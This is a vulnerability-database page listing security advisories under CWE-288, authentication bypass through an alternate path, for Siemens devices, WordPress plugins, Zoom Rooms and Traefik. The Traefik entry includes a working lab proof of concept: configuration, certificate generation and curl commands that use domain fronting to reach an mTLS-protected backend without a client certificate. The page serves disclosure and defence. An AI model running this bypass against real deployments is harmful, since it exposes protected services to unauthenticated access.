Common Weakness Enumeration

CWE-288

Allowed

Authentication Bypass Using an Alternate Path or Channel

Abstraction: Base · Status: Incomplete

The product requires authentication, but the product has an alternate path or channel that does not require authentication.

1072 vulnerabilities reference this CWE, most recent first.

GHSA-5QPF-CX59-XVM8

Vulnerability from github – Published: 2024-10-08 09:30 – Updated: 2024-10-08 09:30
VLAI
Details

The web server of affected devices do not properly authenticate user request to the '/ClientArea/RuntimeInfoData.mwsl' endpoint. This could allow an unauthenticated remote attacker to gain knowledge about current actual and configured maximum cycle times as well as about configured maximum communication load.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-46887"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-08T09:15:16Z",
    "severity": "MODERATE"
  },
  "details": "The web server of affected devices do not properly authenticate user request to the \u0027/ClientArea/RuntimeInfoData.mwsl\u0027 endpoint. This could allow an unauthenticated remote attacker to gain knowledge about current actual and configured maximum cycle times as well as about configured maximum communication load.",
  "id": "GHSA-5qpf-cx59-xvm8",
  "modified": "2024-10-08T09:30:54Z",
  "published": "2024-10-08T09:30:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46887"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-054046.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-5R4W-85F3-PW66

Vulnerability from github – Published: 2026-06-16 19:02 – Updated: 2026-06-16 19:02
VLAI
Summary
Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass
Details

Summary

There is a high severity vulnerability in Traefik's domain-fronting protection (SNICheck) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router TLSOptions. When a router uses a wildcard host rule such as Host(*.example.com) with stricter TLS options (for example RequireAndVerifyClientCert), SNICheck resolves the TLS options for the HTTP Host header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP Host header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.7.3

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary Traefik's `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host("*.example.com")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend. This issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header. For HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik's HTTP request handling. ### Details For the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not. The router build records TLS option names for host rules:
domains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)
// ...
tlsOptionsForHost[domain] = tlsOptionsName
The HTTPS forwarder then installs SNI routes:
rule := fmt.Sprintf(`HostSNI(%q)`, sniHost)
`HostSNI` matching is wildcard-aware:
return muxer.DomainMatchHostExpression(meta.serverName, hostExpr)
But `pkg/middlewares/snicheck/snicheck.go` resolves the host's TLS option name with exact lookups only:
func findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    name := findTLSOptName(tlsOptionsForHost, host, fqdn)
    if name != "" {
        return name
    }

    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)
    if name != "" {
        return name
    }

    return traefiktls.DefaultTLSConfigName
}

func findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {
    if tlsOptions, ok := tlsOptionsForHost[host]; ok {
        return tlsOptions
    }

    if !fqdn {
        return ""
    }

    if last := len(host) - 1; last >= 0 && host[last] == '.' {
        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {
            return tlsOptions
        }

        return ""
    }

    if tlsOptions, ok := tlsOptionsForHost[host+"."]; ok {
        return tlsOptions
    }

    return ""
}
There is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`. Preconditions: - A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`. - The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`. - Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate. - The client can send an HTTP `Host` header different from the TLS SNI. Relationship to my previous HTTP/3 report: I previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup. This report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend. Relationship to public issue #12349: This is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:
TLS options difference: SNI:https-ext@file, Header:default
The public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route's mTLS policy. Related wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained. Minimal dynamic configuration:
http:
  routers:
    protected:
      rule: Host(`*.example.com`)
      service: protected
      tls:
        options: mtls

    public:
      rule: Host(`public.example.net`)
      service: public
      tls: {}

  services:
    protected:
      loadBalancer:
        servers:
          - url: http://protected:80

    public:
      loadBalancer:
        servers:
          - url: http://public:80

tls:
  certificates:
    - certFile: /certs/server.crt
      keyFile: /certs/server.key

  options:
    mtls:
      clientAuth:
        caFiles:
          - /certs/ca.crt
        clientAuthType: RequireAndVerifyClientCert
Minimal Docker Compose:
services:
  traefik:
    image: traefik:v3.7.1
    command:
      - --log.level=DEBUG
      - --entrypoints.websecure.address=:8443
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --providers.file.watch=false
    ports:
      - "8443:8443"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
      - ./certs:/certs:ro
    depends_on:
      - protected
      - public

  protected:
    image: traefik/whoami:v1.11
    command:
      - --name=PROTECTED

  public:
    image: traefik/whoami:v1.11
    command:
      - --name=PUBLIC
Certificate generation:
rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
  -keyout certs/ca.key \
  -out certs/ca.crt \
  -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes \
  -keyout certs/server.key \
  -out certs/server.csr \
  -subj "/CN=public.example.net" \
  -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com"

openssl x509 -req \
  -in certs/server.csr \
  -CA certs/ca.crt \
  -CAkey certs/ca.key \
  -CAcreateserial \
  -out certs/server.crt \
  -days 7 \
  -sha256 \
  -copy_extensions copyall
### PoC Start Traefik with the configuration above. Test environment: - Traefik images tested: `v3.7.0`, `v3.7.1` - Backend image: `traefik/whoami:v1.11` - Client: `curl` with HTTPS/HTTP2 support - EntryPoint: TCP port `8443` exposed locally - Provider: file provider Control 1: the permissive public route works normally and reaches the public backend:
curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/
Observed result:
HTTP/2 200
Name: PUBLIC
Host: public.example.net:8443
Control 2: direct access to the wildcard-protected host without a client certificate is blocked:
curl --noproxy '*' --http2 -skv \
  --resolve api.example.com:8443:127.0.0.1 \
  https://api.example.com:8443/
Observed result:
TLS alert ... certificate required
Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:
curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'
Observed result:
HTTP/2 200
Name: PROTECTED
Host: api.example.com
The curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:
* [HTTP/2] [1] [:authority: api.example.com]
> Host: api.example.com
Expected result:
HTTP/2 421
Misdirected Request
Traefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route's `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions. Negative control with exact host: Replacing the protected router rule with exact `Host("api.example.com")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:
http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls
Run the same request:
curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'
Observed result:
HTTP/2 421
Misdirected Request
This shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check. Regression test used during validation:
go test ./pkg/middlewares/snicheck \
  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \
  -count=1
Version matrix observed with Docker images:
v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup
v3.7.0: affected
v3.7.1: affected
### Impact Deployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint. The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route. A possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only. Possible workarounds until a fix is available: - Avoid wildcard router `TLSOptions` for mTLS access control. - Enumerate exact protected hostnames instead of using wildcard `Host` rules. - Enforce mTLS in the default TLS options as well. - Avoid mixing permissive and mTLS-protected hosts on the same entrypoint. - Block or reject domain-fronted requests at another layer.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.7.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "Traefik"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.7.0"
            },
            {
              "fixed": "3.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48491"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T19:02:20Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThere is a high severity vulnerability in Traefik\u0027s domain-fronting protection (`SNICheck`) that allows an unauthenticated client to bypass mutual TLS enforced through wildcard router `TLSOptions`. When a router uses a wildcard host rule such as `Host(`*.example.com`)` with stricter TLS options (for example `RequireAndVerifyClientCert`), `SNICheck` resolves the TLS options for the HTTP `Host` header using exact map lookups only and never applies wildcard matching. If another permissive SNI is served on the same entrypoint, an attacker can complete the TLS handshake under the permissive options and then send an HTTP `Host` header targeting the wildcard-protected backend, reaching it without presenting a client certificate. This affects the regular HTTPS / HTTP-2 path and does not require HTTP/3.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v3.7.3\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\nTraefik\u0027s `SNICheck` domain-fronting protection ignores wildcard `TLSOptions` mappings. A wildcard router such as `Host(\"*.example.com\")` can require mTLS for direct access, but an unauthenticated client can complete the TLS handshake with another permissive SNI on the same entrypoint and then send `Host: api.example.com` / HTTP request authority `api.example.com` to reach the wildcard-protected backend.\n\nThis issue does not require HTTP/3. The PoC uses the regular HTTPS/HTTP2 path and abuses the domain-fronting consistency check between TLS SNI and the HTTP `Host` header.\n\nFor HTTP/2, this corresponds to the request authority / `Host` value as exposed to Traefik\u0027s HTTP request handling.\n\n### Details\n\nFor the v3 rule-syntax / file-provider path used in this PoC, wildcard `Host` / `HostSNI` matching and TLSOptions association for wildcard domains were introduced in Traefik v3.7. The normal HTTPS/TCP router path uses wildcard-aware matching. The `SNICheck` middleware does not.\n\nThe router build records TLS option names for host rules:\n\n```go\ndomains, err := httpmuxer.ParseDomains(routerHTTPConfig.Rule)\n// ...\ntlsOptionsForHost[domain] = tlsOptionsName\n```\n\nThe HTTPS forwarder then installs SNI routes:\n\n```go\nrule := fmt.Sprintf(`HostSNI(%q)`, sniHost)\n```\n\n`HostSNI` matching is wildcard-aware:\n\n```go\nreturn muxer.DomainMatchHostExpression(meta.serverName, hostExpr)\n```\n\nBut `pkg/middlewares/snicheck/snicheck.go` resolves the host\u0027s TLS option name with exact lookups only:\n\n```go\nfunc findTLSOptionName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    name := findTLSOptName(tlsOptionsForHost, host, fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    name = findTLSOptName(tlsOptionsForHost, strings.ToLower(host), fqdn)\n    if name != \"\" {\n        return name\n    }\n\n    return traefiktls.DefaultTLSConfigName\n}\n\nfunc findTLSOptName(tlsOptionsForHost map[string]string, host string, fqdn bool) string {\n    if tlsOptions, ok := tlsOptionsForHost[host]; ok {\n        return tlsOptions\n    }\n\n    if !fqdn {\n        return \"\"\n    }\n\n    if last := len(host) - 1; last \u003e= 0 \u0026\u0026 host[last] == \u0027.\u0027 {\n        if tlsOptions, ok := tlsOptionsForHost[host[:last]]; ok {\n            return tlsOptions\n        }\n\n        return \"\"\n    }\n\n    if tlsOptions, ok := tlsOptionsForHost[host+\".\"]; ok {\n        return tlsOptions\n    }\n\n    return \"\"\n}\n```\n\nThere is no wildcard matching step for entries such as `*.example.com`. As a result, `Host: api.example.com` can be classified as using default TLS options even though the router matched a wildcard host with stricter `TLSOptions`.\n\nPreconditions:\n\n- A protected router uses wildcard `Host` / `HostSNI` with router-specific `TLSOptions`.\n- The protected wildcard router uses stricter TLS options, such as `RequireAndVerifyClientCert`.\n- Another SNI/default TLS path on the same entrypoint allows a handshake without a client certificate.\n- The client can send an HTTP `Host` header different from the TLS SNI.\n\nRelationship to my previous HTTP/3 report:\n\nI previously submitted a related HTTP/3 mTLS bypass involving `Router.GetTLSGetClientInfo()` and exact/case-sensitive SNI lookup.\n\nThis report is separate. It does not require HTTP/3 or QUIC. It affects the regular HTTPS/HTTP2 path and is caused by `SNICheck` resolving `tlsOptionsForHost` with exact lookups only, without wildcard matching. The exploit uses domain fronting: a permissive TLS SNI is used for the handshake, while the HTTP request authority / `Host` header targets a wildcard-protected backend.\n\nRelationship to public issue #12349:\n\nThis is related to public issue #12349, where wildcard hosts were observed to be classified as `default` by `SNICheck`, causing unexpected `421 Misdirected Request` responses in some wildcard setups:\n\n```text\nTLS options difference: SNI:https-ext@file, Header:default\n```\n\nThe public issue demonstrates the same wildcard resolution gap as an availability/operational problem. This report demonstrates a security-impacting false-negative variant that can bypass router-specific mTLS when a permissive SNI exists on the same entrypoint. When the attacker chooses a permissive/default SNI and sends a protected wildcard host in the HTTP `Host` header, both sides can be classified as `default`, so `SNICheck` does not return `421`. The later HTTP router then matches the wildcard-protected backend and the request is forwarded without enforcing the wildcard route\u0027s mTLS policy.\n\nRelated wildcard `SNICheck` behavior has also been observed in Kubernetes Ingress setups, as described in public issue #12349. The PoC below uses the file provider and v3 rule syntax to keep the reproduction minimal and self-contained.\n\nMinimal dynamic configuration:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`*.example.com`)\n      service: protected\n      tls:\n        options: mtls\n\n    public:\n      rule: Host(`public.example.net`)\n      service: public\n      tls: {}\n\n  services:\n    protected:\n      loadBalancer:\n        servers:\n          - url: http://protected:80\n\n    public:\n      loadBalancer:\n        servers:\n          - url: http://public:80\n\ntls:\n  certificates:\n    - certFile: /certs/server.crt\n      keyFile: /certs/server.key\n\n  options:\n    mtls:\n      clientAuth:\n        caFiles:\n          - /certs/ca.crt\n        clientAuthType: RequireAndVerifyClientCert\n```\n\nMinimal Docker Compose:\n\n```yaml\nservices:\n  traefik:\n    image: traefik:v3.7.1\n    command:\n      - --log.level=DEBUG\n      - --entrypoints.websecure.address=:8443\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --providers.file.watch=false\n    ports:\n      - \"8443:8443\"\n    volumes:\n      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n      - ./certs:/certs:ro\n    depends_on:\n      - protected\n      - public\n\n  protected:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PROTECTED\n\n  public:\n    image: traefik/whoami:v1.11\n    command:\n      - --name=PUBLIC\n```\n\nCertificate generation:\n\n```bash\nrm -rf certs\nmkdir -p certs\n\nopenssl req -x509 -newkey rsa:2048 -nodes -days 7 \\\n  -keyout certs/ca.key \\\n  -out certs/ca.crt \\\n  -subj \"/CN=traefik-poc-ca\"\n\nopenssl req -newkey rsa:2048 -nodes \\\n  -keyout certs/server.key \\\n  -out certs/server.csr \\\n  -subj \"/CN=public.example.net\" \\\n  -addext \"subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com\"\n\nopenssl x509 -req \\\n  -in certs/server.csr \\\n  -CA certs/ca.crt \\\n  -CAkey certs/ca.key \\\n  -CAcreateserial \\\n  -out certs/server.crt \\\n  -days 7 \\\n  -sha256 \\\n  -copy_extensions copyall\n```\n\n### PoC\n\nStart Traefik with the configuration above.\n\nTest environment:\n\n- Traefik images tested: `v3.7.0`, `v3.7.1`\n- Backend image: `traefik/whoami:v1.11`\n- Client: `curl` with HTTPS/HTTP2 support\n- EntryPoint: TCP port `8443` exposed locally\n- Provider: file provider\n\nControl 1: the permissive public route works normally and reaches the public backend:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PUBLIC\nHost: public.example.net:8443\n```\n\nControl 2: direct access to the wildcard-protected host without a client certificate is blocked:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve api.example.com:8443:127.0.0.1 \\\n  https://api.example.com:8443/\n```\n\nObserved result:\n\n```text\nTLS alert ... certificate required\n```\n\nBypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H \u0027Host: api.example.com\u0027\n```\n\nObserved result:\n\n```text\nHTTP/2 200\nName: PROTECTED\nHost: api.example.com\n```\n\nThe curl verbose output shows that the HTTP/2 request authority / `Host` value is `api.example.com`, while the TLS SNI is taken from the URL host `public.example.net`:\n\n```text\n* [HTTP/2] [1] [:authority: api.example.com]\n\u003e Host: api.example.com\n```\n\nExpected result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nTraefik should return `421 Misdirected Request` because the HTTP `Host` header resolves to the wildcard route\u0027s `mtls` TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.\n\nNegative control with exact host:\n\nReplacing the protected router rule with exact `Host(\"api.example.com\")` while keeping `tls.options=mtls` causes the same domain-fronting request to be rejected:\n\n```yaml\nhttp:\n  routers:\n    protected:\n      rule: Host(`api.example.com`)\n      service: protected\n      tls:\n        options: mtls\n```\n\nRun the same request:\n\n```bash\ncurl --noproxy \u0027*\u0027 --http2 -skv \\\n  --resolve public.example.net:8443:127.0.0.1 \\\n  https://public.example.net:8443/ \\\n  -H \u0027Host: api.example.com\u0027\n```\n\nObserved result:\n\n```text\nHTTP/2 421\nMisdirected Request\n```\n\nThis shows that the bypass depends on wildcard TLSOptions resolution in `SNICheck`, not on a generic failure of the domain-fronting check.\n\nRegression test used during validation:\n\n```bash\ngo test ./pkg/middlewares/snicheck \\\n  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \\\n  -count=1\n```\n\nVersion matrix observed with Docker images:\n\n```text\nv3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup\nv3.7.0: affected\nv3.7.1: affected\n```\n\n### Impact\n\nDeployments that use wildcard router `TLSOptions` for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.\n\nThe TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by `tls.options=mtls` on the wildcard route.\n\nA possible fix would be for `SNICheck` to resolve `tlsOptionsForHost` using the same wildcard-aware host matching semantics used by the router / `HostSNI` matching, rather than exact map lookups only.\n\nPossible workarounds until a fix is available:\n\n- Avoid wildcard router `TLSOptions` for mTLS access control.\n- Enumerate exact protected hostnames instead of using wildcard `Host` rules.\n- Enforce mTLS in the default TLS options as well.\n- Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.\n- Block or reject domain-fronted requests at another layer.\n\n\u003c/details\u003e\n\n---",
  "id": "GHSA-5r4w-85f3-pw66",
  "modified": "2026-06-16T19:02:20Z",
  "published": "2026-06-16T19:02:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-5r4w-85f3-pw66"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.7.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik: SNICheck ignores wildcard TLSOptions mappings, allowing domain-fronted mTLS bypass"
}

GHSA-5RVP-4PQ9-27FR

Vulnerability from github – Published: 2026-03-03 03:32 – Updated: 2026-03-03 03:32
VLAI
Details

The All-in-One Microsoft 365 & Entra ID / Azure AD SSO Login plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.2.5. This makes it possible for unauthenticated attackers to bypass authentication and log in as other users, including administrators.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2628"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-03T02:16:10Z",
    "severity": "CRITICAL"
  },
  "details": "The All-in-One Microsoft 365 \u0026 Entra ID / Azure AD SSO Login plugin for WordPress is vulnerable to authentication bypass in all versions up to, and including, 2.2.5. This makes it possible for unauthenticated attackers to bypass authentication and log in as other users, including administrators.",
  "id": "GHSA-5rvp-4pq9-27fr",
  "modified": "2026-03-03T03:32:41Z",
  "published": "2026-03-03T03:32:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2628"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/login-with-azure?rev=3465063"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/5e15e36e-55f9-4095-a0ba-48ef9434606a?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5V6F-J8C4-H52P

Vulnerability from github – Published: 2025-05-07 03:30 – Updated: 2025-05-07 03:30
VLAI
Details

The PeproDev Ultimate Profile Solutions plugin for WordPress is vulnerable to Authentication Bypass in versions 1.9.1 to 7.5.2. This is due to handel_ajax_req() function not having proper restrictions on the change_user_meta functionality that makes it possible to set a OTP code and subsequently log in with that OTP code. This makes it possible for unauthenticated attackers to login as other users on the site, including administrators.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-3844"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-07T03:15:17Z",
    "severity": "CRITICAL"
  },
  "details": "The PeproDev Ultimate Profile Solutions plugin for WordPress is vulnerable to Authentication Bypass in versions 1.9.1 to 7.5.2. This is due to handel_ajax_req() function not having proper restrictions on the change_user_meta functionality that makes it possible to set a OTP code and subsequently log in with that OTP code. This makes it possible for unauthenticated attackers to login as other users on the site, including administrators.",
  "id": "GHSA-5v6f-j8c4-h52p",
  "modified": "2025-05-07T03:30:28Z",
  "published": "2025-05-07T03:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3844"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/peprodev-ups/tags/7.5.2/login/login.php#L1483"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/peprodev-ups/tags/7.5.2/login/login.php#L2836"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/65be9417-7029-4f34-b834-98208a42743b?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VMQ-C4HW-8927

Vulnerability from github – Published: 2025-10-15 18:31 – Updated: 2025-10-15 18:31
VLAI
Details

Authentication bypass in some Zoom Rooms Clients before version 6.5.1 may allow an unauthenticated user to conduct a disclosure of information via network access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-58133"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-10-15T17:16:00Z",
    "severity": "MODERATE"
  },
  "details": "Authentication bypass in some Zoom Rooms Clients before version 6.5.1 may allow an unauthenticated user to conduct a disclosure of information via network access.",
  "id": "GHSA-5vmq-c4hw-8927",
  "modified": "2025-10-15T18:31:52Z",
  "published": "2025-10-15T18:31:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58133"
    },
    {
      "type": "WEB",
      "url": "https://www.zoom.com/en/trust/security-bulletin/zsb-25039"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5VXH-FRXX-PX6F

Vulnerability from github – Published: 2024-10-26 03:30 – Updated: 2026-04-08 18:33
VLAI
Details

The WatchTowerHQ plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.6. This is due to the 'watchtower_ota_token' default value is empty, and the not empty check is missing in the 'Password_Less_Access::login' function. This makes it possible for unauthenticated attackers to log in to the WatchTowerHQ client administrator user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-9933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-26T03:15:05Z",
    "severity": "CRITICAL"
  },
  "details": "The WatchTowerHQ plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 3.9.6. This is due to the \u0027watchtower_ota_token\u0027 default value is empty, and the not empty check is missing in the \u0027Password_Less_Access::login\u0027 function. This makes it possible for unauthenticated attackers to log in to the WatchTowerHQ client administrator user.",
  "id": "GHSA-5vxh-frxx-px6f",
  "modified": "2026-04-08T18:33:39Z",
  "published": "2024-10-26T03:30:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-9933"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/watchtowerhq/tags/3.9.6/src/Password_Less_Access.php#L56"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3177064/watchtowerhq#file2"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/50349086-e7b0-4f73-8722-1367cc05180e?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-5W7F-6VPF-234P

Vulnerability from github – Published: 2024-11-23 06:32 – Updated: 2024-12-06 03:31
VLAI
Details

